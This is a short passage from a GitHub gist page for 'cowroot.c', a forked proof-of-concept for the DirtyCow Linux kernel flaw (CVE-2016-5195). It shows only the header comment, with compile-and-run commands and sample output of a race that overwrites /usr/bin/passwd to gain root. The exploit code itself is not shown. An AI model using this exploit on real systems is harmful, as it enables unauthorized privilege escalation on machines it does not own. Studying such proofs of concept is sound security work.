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/ cowroot.c
Created
September 18, 2017 02:52
— forked from rverton/cowroot.c
CVE-2016-5195 (DirtyCow) Local Root PoC
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| /* | |
| * (un)comment correct payload first (x86 or x64)! | |
| * | |
| * $ gcc cowroot.c -o cowroot -pthread | |
| * $ ./cowroot | |
| * DirtyCow root privilege escalation | |
| * Backing up /usr/bin/passwd.. to /tmp/bak | |
| * Size of binary: 57048 | |
| * Racing, this may take a while.. | |
| * /usr/bin/passwd overwritten |